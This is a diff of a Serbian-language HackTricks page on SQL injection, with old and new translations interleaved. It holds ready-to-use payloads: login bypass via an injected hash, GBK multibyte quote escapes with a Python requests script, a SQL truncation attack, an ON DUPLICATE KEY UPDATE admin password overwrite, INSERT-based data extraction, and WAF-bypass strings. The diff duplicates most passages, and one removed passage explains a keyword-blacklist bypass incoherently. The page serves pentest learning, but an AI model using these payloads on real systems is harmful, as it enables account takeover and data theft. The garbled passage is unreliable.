Ova tehnika se koristi za zaobilaženje autentifikacije putem ubacivanja hash-a u SQL upit. Kada se koristi loša implementacija autentifikacije koja ne proverava ispravnost unetih podataka, moguće je iskoristiti SQL Injection da bi se umesto pravog hash-a ubacio lažni hash.
|
||||
|
||||
Da bi se ova tehnika primenila, potrebno je prvo dobiti pravi hash koji se koristi za autentifikaciju. Zatim se taj hash ubacuje u SQL upit umesto unetog korisničkog imena i lozinke. Na taj način se zaobilazi provera autentifikacije i omogućava pristup sistemskim resursima.
|
||||
|
||||
Ova tehnika je vrlo opasna i može dovesti do ozbiljnog kompromitovanja sistema. Zbog toga je važno da se implementira sigurna autentifikacija koja proverava ispravnost unetih podataka i sprečava SQL Injection napade.
|
||||
### Zaobilaženje autentifikacije pomoću injektovanog heša
|
||||
```sql
|
||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Preporučena lista**:
|
||||
|
||||
Kao korisničko ime trebate koristiti svaku liniju iz liste, a kao lozinku uvijek: _**Pass1234.**_\
|
||||
_(Ove payloade također možete pronaći u velikoj listi spomenutoj na početku ovog odjeljka)_
|
||||
Trebalo bi da koristite kao korisničko ime svaku liniju sa liste, a kao lozinku uvek: _**Pass1234.**_\
|
||||
_(Ovi payload-ovi su takođe uključeni u veliku listu pomenutu na početku ovog odeljka)_
|
||||
|
||||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||||
|
||||
### GBK Bypass autentifikacije
|
||||
### GBK autentifikacija zaobilaženje
|
||||
|
||||
Ako se ' izbjegava, možete koristiti %A8%27, a kada se ' izbjegne, stvorit će se: 0xA80x5c0x27 (_╘'_)
|
||||
AKO je ' escapovan, možete koristiti %A8%27, a kada ' bude escapovan, biće kreirano: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
|
@ -344,78 +325,68 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
|||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Poliglotna injekcija (višekontekstualna)
|
||||
|
||||
Polyglot injection, also known as multicontext injection, is a technique used in SQL injection attacks. It involves crafting a malicious payload that can be interpreted as valid code in multiple database management systems (DBMS). This allows the attacker to target different DBMS with a single payload, increasing the chances of a successful attack.
|
||||
|
||||
Polyglot injection takes advantage of the syntax and behavior differences between different DBMS. By carefully constructing the payload, the attacker can ensure that it is interpreted correctly by multiple DBMS, regardless of the specific syntax requirements of each system.
|
||||
|
||||
This technique is particularly useful when the attacker is unsure about the underlying DBMS used by the target application. By using a polyglot payload, the attacker can increase the likelihood of a successful SQL injection attack, regardless of the specific DBMS in use.
|
||||
|
||||
It is important to note that crafting a polyglot injection payload requires a deep understanding of the syntax and behavior of multiple DBMS. Additionally, the payload must be carefully constructed to avoid any syntax conflicts or errors that could prevent successful exploitation.
|
||||
|
||||
Overall, polyglot injection is a powerful technique that allows attackers to target multiple DBMS with a single payload, increasing the chances of a successful SQL injection attack.
|
||||
### Polyglot injection (multicontext)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Insert Statement
|
||||
|
||||
### Promena lozinke postojećeg objekta/korisnika
|
||||
### Izmena lozinke postojećeg objekta/korisnika
|
||||
|
||||
Da biste to uradili, trebali biste pokušati **kreirati novi objekat sa istim imenom kao "glavni objekat"** (verovatno **admin** u slučaju korisnika) i izmeniti nešto:
|
||||
Da biste to uradili, trebali biste pokušati da **napravite novi objekat nazvan kao "master objekat"** (verovatno **admin** u slučaju korisnika) modifikujući nešto:
|
||||
|
||||
* Kreirajte korisnika sa imenom: **AdMIn** (velika i mala slova)
|
||||
* Kreirajte korisnika sa imenom: **admin=**
|
||||
* **SQL Truncation napad** (kada postoji neka vrsta **ograničenja dužine** za korisničko ime ili email) --> Kreirajte korisnika sa imenom: **admin \[mnogo razmaka] a**
|
||||
* Napravite korisnika pod imenom: **AdMIn** (velika i mala slova)
|
||||
* Napravite korisnika pod imenom: **admin=**
|
||||
* **SQL Truncation Attack** (kada postoji neka vrsta **ograničenja dužine** u korisničkom imenu ili emailu) --> Napravite korisnika sa imenom: **admin \[puno razmaka] a**
|
||||
|
||||
#### SQL Truncation napad
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je na primer 30, a želite da se predstavite kao korisnik **admin**, pokušajte da kreirate korisničko ime nazvano: "_admin \[30 razmaka] a_" i bilo koju lozinku.
|
||||
Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30, a želite da se pretvarate da ste korisnik **admin**, pokušajte da kreirate korisničko ime: "_admin \[30 razmaka] a_" i bilo koju lozinku.
|
||||
|
||||
Baza podataka će **proveriti** da li uneto **korisničko ime postoji** u bazi podataka. Ako **ne postoji**, ona će **skratiti** korisničko ime na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će ukloniti sve razmake na kraju, ažurirajući unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (mogu se pojaviti neke greške, ali to ne znači da nije uspelo).
|
||||
Baza podataka će **proveriti** da li uneto **korisničko ime** **postoji** unutar baze podataka. Ako **ne**, ona će **skratiti** **korisničko ime** na **maksimalan dozvoljeni broj karaktera** (u ovom slučaju na: "_admin \[25 razmaka]_") i automatski će **ukloniti sve razmake na kraju ažurirajući** unutar baze podataka korisnika "**admin**" sa **novom lozinkom** (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).
|
||||
|
||||
Više informacija: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Napomena: Ovaj napad više neće raditi kao što je opisano u najnovijim instalacijama MySQL-a. Iako poređenja i dalje ignorišu razmake na kraju podrazumevano, pokušaj da se unese string koji je duži od dužine polja rezultiraće greškom i neće biti moguće izvršiti unos. Za više informacija o ovoj proveri: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
_Napomena: Ovaj napad više neće raditi kao što je opisano iznad u najnovijim MySQL instalacijama. Dok poređenja i dalje ignorišu razmake na kraju po defaultu, pokušaj umetanja stringa koji je duži od dužine polja rezultiraće greškom, a umetanje će propasti. Za više informacija o ovoj provere: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||
|
||||
### MySQL Insert provera bazirana na vremenu
|
||||
### MySQL Insert time based checking
|
||||
|
||||
Dodajte onoliko `','',''` koliko smatrate da je potrebno da izađete iz izjave VALUES. Ako se izvrši kašnjenje, imate SQLInjection.
|
||||
Dodajte koliko god `','',''` smatrate da je potrebno da izađete iz VALUES izjave. Ako se izvrši kašnjenje, imate SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Klauzula `ON DUPLICATE KEY UPDATE` u MySQL-u se koristi da se specificiraju akcije koje baza podataka treba preduzeti kada se pokuša umetnuti red koji bi rezultirao dupliranom vrednošću u UNIQUE indeksu ili PRIMARY KEY. Sledeći primer prikazuje kako se ova funkcionalnost može iskoristiti da se izmeni lozinka administratorskog naloga:
|
||||
Klauzula `ON DUPLICATE KEY UPDATE` u MySQL-u se koristi za određivanje akcija koje baza podataka treba da preduzme kada se pokuša umetanje reda koji bi rezultirao duplom vrednošću u UNIQUE indeksu ili PRIMARY KEY-u. Sledeći primer pokazuje kako se ova funkcija može iskoristiti za modifikaciju lozinke administratorskog naloga:
|
||||
|
||||
Primer Payload Injection:
|
||||
Example Payload Injection:
|
||||
|
||||
Payload za ubacivanje može biti kreiran na sledeći način, gde se pokušava ubaciti dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeći administratorski email sa namerom da se ažurira lozinka:
|
||||
Injekcioni payload može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu `users`. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da se ažurira lozinka:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Evo kako to funkcioniše:
|
||||
|
||||
- Upit pokušava da unese dva reda: jedan za `generic_user@example.com` i drugi za `admin_generic@example.com`.
|
||||
- Ako red za `admin_generic@example.com` već postoji, klauza `ON DUPLICATE KEY UPDATE` se aktivira, naređujući MySQL-u da ažurira polje `password` postojećeg reda na "bcrypt_hash_of_newpassword".
|
||||
- Kao rezultat toga, autentifikacija se može pokušati koristeći `admin_generic@example.com` sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).
|
||||
- Ako red za `admin_generic@example.com` već postoji, `ON DUPLICATE KEY UPDATE` klauzula se aktivira, naređujući MySQL-u da ažurira polje `password` postojećeg reda na "bcrypt_hash_of_newpassword".
|
||||
- Kao rezultat, autentifikacija se može pokušati koristeći `admin_generic@example.com` sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).
|
||||
|
||||
### Izvlačenje informacija
|
||||
### Ekstrakcija informacija
|
||||
|
||||
#### Kreiranje 2 naloga istovremeno
|
||||
#### Kreiranje 2 naloga u isto vreme
|
||||
|
||||
Prilikom pokušaja kreiranja novog korisnika, potrebni su korisničko ime, lozinka i email:
|
||||
Kada pokušavate da kreirate novog korisnika, potrebni su korisničko ime, lozinka i email:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
|
||||
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
|
||||
```
|
||||
#### Korišćenje decimalnog ili heksadecimalnog broja
|
||||
#### Korišćenje decimalnog ili heksadecimalnog
|
||||
|
||||
Pomoću ove tehnike možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate komentarisati ništa.
|
||||
Sa ovom tehnikom možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate komentarisati ništa.
|
||||
|
||||
Korišćenje **hex2dec** i **substr**:
|
||||
Korišćenjem **hex2dec** i **substr**:
|
||||
```sql
|
||||
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
```
|
||||
|
@ -423,7 +394,7 @@ Da biste dobili tekst, možete koristiti:
|
|||
```python
|
||||
__import__('binascii').unhexlify(hex(215573607263)[2:])
|
||||
```
|
||||
Korišćenje **hex** i **replace** (i **substr**):
|
||||
Koristeći **hex** i **replace** (i **substr**):
|
||||
```sql
|
||||
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
|
||||
|
||||
|
@ -434,26 +405,26 @@ Korišćenje **hex** i **replace** (i **substr**):
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti kibernetičke bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo sastajalište za profesionalce iz oblasti tehnologije i kibernetičke bezbednosti u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Routed SQL injection
|
||||
|
||||
Routed SQL injection je situacija u kojoj ubacivački upit nije onaj koji daje izlaz, već izlaz ubacivačkog upita ide u upit koji daje izlaz. ([Iz dokumenta](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Routed SQL injection je situacija u kojoj upit koji se može injektirati nije onaj koji daje izlaz, već izlaz injektiranog upita ide u upit koji daje izlaz. ([Iz rada](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Primer:
|
||||
```
|
||||
#Hex of: -1' union select login,password from users-- a
|
||||
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
|
||||
```
|
||||
## Bypass WAF
|
||||
## WAF Bypass
|
||||
|
||||
[Početni zaobiđeni odavde](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
[Početni zaobilaženja odavde](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
|
||||
|
||||
### Zaobiđenje bez razmaka
|
||||
### Zaobilaženje bez razmaka
|
||||
|
||||
Bez razmaka (%20) - zaobiđeno korišćenjem alternativa za razmake
|
||||
No Space (%20) - zaobilaženje korišćenjem alternativa za razmake
|
||||
```sql
|
||||
?id=1%09and%091=1%09--
|
||||
?id=1%0Dand%0D1=1%0D--
|
||||
|
@ -462,109 +433,31 @@ Bez razmaka (%20) - zaobiđeno korišćenjem alternativa za razmake
|
|||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
## No Whitespace - zaobilaženje korišćenjem komentara
|
||||
|
||||
### Opis
|
||||
|
||||
No Whitespace (bez razmaka) tehnika zaobilaženja se koristi kada je unos korisnika filtriran tako da ne dozvoljava upotrebu razmaka. Ova tehnika koristi SQL komentare kako bi se zaobišao taj filter.
|
||||
|
||||
### Napadni vektor
|
||||
|
||||
Napadač može iskoristiti ovu tehniku kada je unos korisnika ograničen i ne dozvoljava korišćenje razmaka.
|
||||
|
||||
### Napadni scenario
|
||||
|
||||
Napadač može koristiti SQL komentare (`/* */` ili `--`) kako bi zaobišao ograničenje razmaka i ubacio SQL kod.
|
||||
|
||||
Na primer, ako je unos korisnika ograničen i ne dozvoljava razmake, napadač može koristiti sledeći napadni vektor:
|
||||
|
||||
```
|
||||
'/**/UNION/**/SELECT/**/1,2,3-- -
|
||||
```
|
||||
|
||||
Ovaj napadni vektor koristi SQL komentare (`/**/`) kako bi se zaobišlo ograničenje razmaka i ubacio SQL kod `UNION SELECT 1,2,3`.
|
||||
|
||||
### Prevencija
|
||||
|
||||
Da bi se sprečio ovaj tip napada, potrebno je pravilno filtrirati i validirati korisnički unos. Takođe, preporučuje se korišćenje parametrizovanih upita ili ORM alata koji automatski sanitizuju korisnički unos.
|
||||
No Whitespace - zaobilaženje korišćenjem komentara
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
## No Whitespace - zaobilaženje korišćenjem zagrada
|
||||
|
||||
### Opis
|
||||
|
||||
No Whitespace (bez razmaka) tehnika zaobilaženja koristi se za izvršavanje SQL injekcije kada je unos korisnika ograničen tako da ne dozvoljava korišćenje razmaka. Ova tehnika koristi zagrade kako bi se zaobišao taj ograničenje i omogućilo izvršavanje SQL upita.
|
||||
|
||||
### Napadni vektor
|
||||
|
||||
Napadač može iskoristiti ovu tehniku kada je unos korisnika ograničen i ne dozvoljava korišćenje razmaka.
|
||||
|
||||
### Primer
|
||||
|
||||
Pretpostavimo da je SQL upit koji se izvršava na serveru sledeći:
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username='admin' AND password='password'
|
||||
```
|
||||
|
||||
Napadač može iskoristiti No Whitespace tehniku zaobilaženja koristeći sledeći unos:
|
||||
|
||||
```
|
||||
admin') OR ('a'='a
|
||||
```
|
||||
|
||||
Kada se ovaj unos ubaci u SQL upit, rezultujući upit će izgledati ovako:
|
||||
|
||||
```sql
|
||||
SELECT * FROM users WHERE username='admin') OR ('a'='a' AND password='password'
|
||||
```
|
||||
|
||||
Na ovaj način, napadač je uspešno zaobišao ograničenje bez razmaka i izvršio SQL injekciju.
|
||||
|
||||
### Prevencija
|
||||
|
||||
Da bi se sprečila No Whitespace SQL injekcija, preporučuje se korišćenje parametrizovanih upita ili sanitizacija korisničkog unosa. Takođe, važno je redovno ažurirati softver i primenjivati sigurnosne zakrpe kako bi se smanjio rizik od SQL injekcija.
|
||||
No Whitespace - zaobilaženje korišćenjem zagrada
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Bypass bez zareza
|
||||
### No commas bypass
|
||||
|
||||
Bypass bez zareza - korišćenje OFFSET, FROM i JOIN
|
||||
No Comma - zaobilaženje korišćenjem OFFSET, FROM i JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Generički zaobilazi
|
||||
### Generic Bypasses
|
||||
|
||||
Crna lista korišćenjem ključnih reči - zaobilaženje korišćenjem velikih/malih slova
|
||||
Crna lista koristeći ključne reči - zaobići koristeći velika/mala slova
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Crna lista korišćenjem ključnih reči bez obzira na veličinu slova - zaobilaženje korišćenjem ekvivalentnog operatora
|
||||
|
||||
Uobičajena metoda za sprečavanje SQL injection napada je korišćenje crne liste ključnih reči. Međutim, ova metoda često ne uzima u obzir veličinu slova, što omogućava napadačima da zaobiđu zaštitu.
|
||||
|
||||
Na primer, ako je ključna reč "admin" na crnoj listi, napadač može da umetne "ADMIN" ili "AdMiN" kako bi izbegao detekciju. Međutim, postoji način da se zaobiđe ovakva zaštita korišćenjem ekvivalentnog operatora.
|
||||
|
||||
Umesto da koristite ključnu reč direktno, možete koristiti ekvivalentni operator koji će izvršiti istu funkciju. Na primer, umesto da koristite "admin", možete koristiti "1=1", što je uvek tačno. Na taj način, SQL upit će biti izvršen bez obzira na crnu listu ključnih reči.
|
||||
|
||||
Na primer, umesto:
|
||||
|
||||
```
|
||||
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
|
||||
```
|
||||
|
||||
Možete koristiti:
|
||||
|
||||
```
|
||||
SELECT * FROM users WHERE username = '1=1' AND password = 'password';
|
||||
```
|
||||
|
||||
Na ovaj način, SQL upit će biti izvršen bez obzira na to da li je ključna reč "admin" na crnoj listi ili ne.
|
||||
Blacklist koristeći ključne reči bez obzira na velika i mala slova - zaobići koristeći ekvivalentni operator
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
|
@ -572,32 +465,32 @@ OR -> || -> %7C%7C
|
|||
> X -> not between 0 and X
|
||||
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
|
||||
```
|
||||
### Bypassiranje WAF-a pomoću naučne notacije
|
||||
### Bypass WAF pomoću naučne notacije
|
||||
|
||||
Možete pronaći detaljnije objašnjenje ove tehnike u [gosecure blogu](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
U osnovi, možete koristiti naučnu notaciju na neočekivane načine kako biste zaobišli WAF:
|
||||
Možete pronaći detaljnije objašnjenje ove trik u [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
U suštini, možete koristiti naučnu notaciju na neočekivane načine da zaobiđete WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
-1' or 1337.1337e1 or '1'='1
|
||||
' or 1.e('')=
|
||||
```
|
||||
### Zaobilaženje ograničenja imena kolona
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Prvo, primetite da ako **izvorna upit i tabela iz koje želite izvući zastavicu imaju isti broj kolona**, možete jednostavno uraditi: `0 UNION SELECT * FROM flag`
|
||||
Prvo, primetite da ako **originalni upit i tabela iz koje želite da izvučete zastavicu imaju istu količinu kolona** možete jednostavno uraditi: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Moguće je **pristupiti trećoj koloni tabele bez korišćenja njenog imena** koristeći upit poput sledećeg: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, pa bi u slučaju SQL ubacivanja to izgledalo ovako:
|
||||
Moguće je **pristupiti trećoj koloni tabele bez korišćenja njenog imena** koristeći upit poput sledećeg: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, tako da bi u sqlinjection ovo izgledalo ovako:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
Ili korišćenjem **zaobilaska zareza**:
|
||||
Ili korišćenjem **comma bypass**:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
```
|
||||
Ova prevara je preuzeta sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
Ova trik je preuzet sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||
|
||||
### Alati za predlaganje zaobilaženja WAF-a
|
||||
### WAF bypass suggester tools
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
|
||||
|
@ -606,7 +499,7 @@ Ova prevara je preuzeta sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeu
|
|||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
## Lista za otkrivanje Brute-Force napada
|
||||
## Lista za detekciju Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
|
||||
|
@ -616,18 +509,21 @@ Ova prevara je preuzeta sa [https://secgroup.github.io/2017/01/03/33c3ctf-writeu
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto susreta za profesionalce iz oblasti tehnologije i sajber bezbednosti u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com/) je najrelevantnija cybersecurity događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i cybersecurity u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# MySQL ubacivanje
|
||||
# MySQL injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
